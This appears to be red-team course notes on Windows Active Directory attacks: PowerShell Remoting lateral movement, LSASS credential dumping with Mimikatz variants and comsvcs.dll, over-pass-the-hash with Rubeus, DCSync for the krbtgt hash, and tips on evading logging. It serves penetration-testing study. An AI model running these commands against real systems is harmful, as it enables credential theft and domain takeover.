Lateral Movement

  • Think of PowerShell Remoting (PSRemoting) as psexec on steroids but much more silent and super fast!
  • PSRemoting uses Windows Remote Management (WinRM) which is Microsoft’s implementation of WS-Management.
  • Enabled by default on Server 2012 onwards with a firewall exception.
  • Uses WinRM and listens by default on 5985 (HTTP) and 5986 (HTTPS).
  • It is the recommended way to manage Windows Core servers.
  • You may need to enable remoting (Enable-PSRemoting) on a Desktop Windows machine, Admin privs are required to do that.
  • The remoting process runs as a high integrity process. That is, you get an elevated shell.

One-to-One

PSSession:

 Interactive
 Runs in a new process (wsmprovhost)
 Is Stateful

Useful cmdlets:

 New-PSSession
 Enter-PSSession
# 1. PS> 
Enter-PSSession <machine>
Get-PSHostProcessInfo #this will show the ProccessID of wsmprovhost

# 2. PS> 
$machine = New-PSSession <machine>

One-to-Many

  • Also known as Fan-out remoting.
  • Non-interactive.
  • Executes commands parallely.

Useful cmdlets

 Invoke-Command

Run commands and scripts on:

 multiple remote computers
 in disconnected sessions (v3)
 as background job and more.

The best thing in PowerShell for passing the hashes, using credentials and executing commands on multiple remote computers. Use -Credential parameter to pass username/password.

[easy to detect - noisy]

Use below to execute commands or scriptblocks:

Invoke-Command -Scriptblock {Get-Process} -ComputerName	(Get-Content <list_of_servers>)

Use below to execute scripts from files:

Invoke-Command -FilePath C:\scripts\Get-PassHashes.ps1 -	ComputerName (Get-Content <list_of_servers>)

Use below to execute locally loaded function on the remote machines:

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>)

In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this way:

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list_of_servers>) -ArgumentList

In below, a function call within the script is used:

Invoke-Command -Filepath C:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <list_of_servers>)

Use below to execute Stateful commands using Invoke-Command:

$Sess = New-PSSession -Computername Server1
Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process}
Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name}

[more stealthy]

PowerShell remoting supports the system-wide transcripts and deep script block logging.

We can use winrs in place of PSRemoting to evade the logging (and still reap the benefit of 5985 allowed between hosts):

winrs -remote:server1 -u:server1\administrator -p:Pass@1234 hostname

We can also use winrm.vbs COM objects of WSMan object (even more silently)

WSMan-WinRM on GitHub

MIMIKATZ

Mimikatz on GitHub

Unofficial mimikatz guide:

ADSecurity Blog - Mimikatz DCSync Usage, Exploitation, and Detection

Local admin required

Invoke-Mimikatz, is a PowerShell port of Mimikatz. Using the code from ReflectivePEInjection, mimikatz is loaded reflectively into the memory.

All the functions of mimikatz could be used from this script.

[everything from LSASS is heavily detected]**

Dump credentials on a local machine using Mimikatz:

Invoke-Mimikatz -Command '"sekurlsa::ekeys"'

Using SafetyKatz (Minidump of lsass and PELoader to run Mimikatz):

SafetyKatz.exe "sekurlsa::ekeys"

Dump credentials Using SharpKatz (C# port of some of Mimikatzfunctionality):

SharpKatz.exe --Command ekeys

Dump credentials using Dumpert (Direct System Calls and API unhooking):

rundll32.exe C:\Dumpert\Outflank-Dumpert.dll,Dump

Using pypykatz (Mimikatz functionality in Python):

pypykatz.exe live lsa

Using comsvcs.dll:

tasklist /FI "IMAGENAME eq lsass.exe" 
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <lsass process ID> C:\Users\Public\lsass.dmp full
  • From a Linux attacking machine using impacket
  • From a Linux attacking machine using Physmem2profit

References

Fantastic Windows Logon Types and Where to Find Credentials in Them

Invoke-Mimikatz.ps1 in Nishang

SharpKatz on GitHub

Dumpert on GitHub

BetterSafetyKatz on GitHub

SafetyKatz on GitHub

pypykatz on GitHub

lsassy on GitHub

impacket on GitHub

physmem2profit on GitHub

What to do with credentials?

Over-Pass-The-Hash

Over Pass the hash (OPTH) generate tokens from hashes or keys.

Needs elevation (Run as administrator)

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:us.techcorp.local /aes256:<aes256key> /run:powershell.exe"' 
SafetyKatz.exe "sekurlsa::pth /user:administrator /domain:us.techcorp.local /aes256:<aes256keys> /run:cmd.exe" "exit"

The above commands starts a PowerShell session with a logon type 9 (same as runas /netonly).

  • Over Pass the hash (OPTH) generate tokens from hashes or keys.

Doesn’t need elevation:

Rubeus.exe asktgt /user:administrator /rc4:<ntlmhash> /ptt

Needs elevation:

Rubeus.exe asktgt /user:administrator /aes256:<aes256keys> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
pass-the-hash # for non domain machines
overpass-the-hash # for domain machines (it gerenates kerberos token)

DCSync

By default, Domain Admins privileges are required to run DCSync

To extract credentials from the DC without code execution on it, we can use DCSync.

To use the DCSync feature for getting krbtgt hash execute the below command with DA privileges for us domain:

Invoke-Mimikatz -Command '"lsadump::dcsync /user:us\krbtgt"'
SafetyKatz.exe "lsadump::dcsync /user:us\krbtgt" "exit"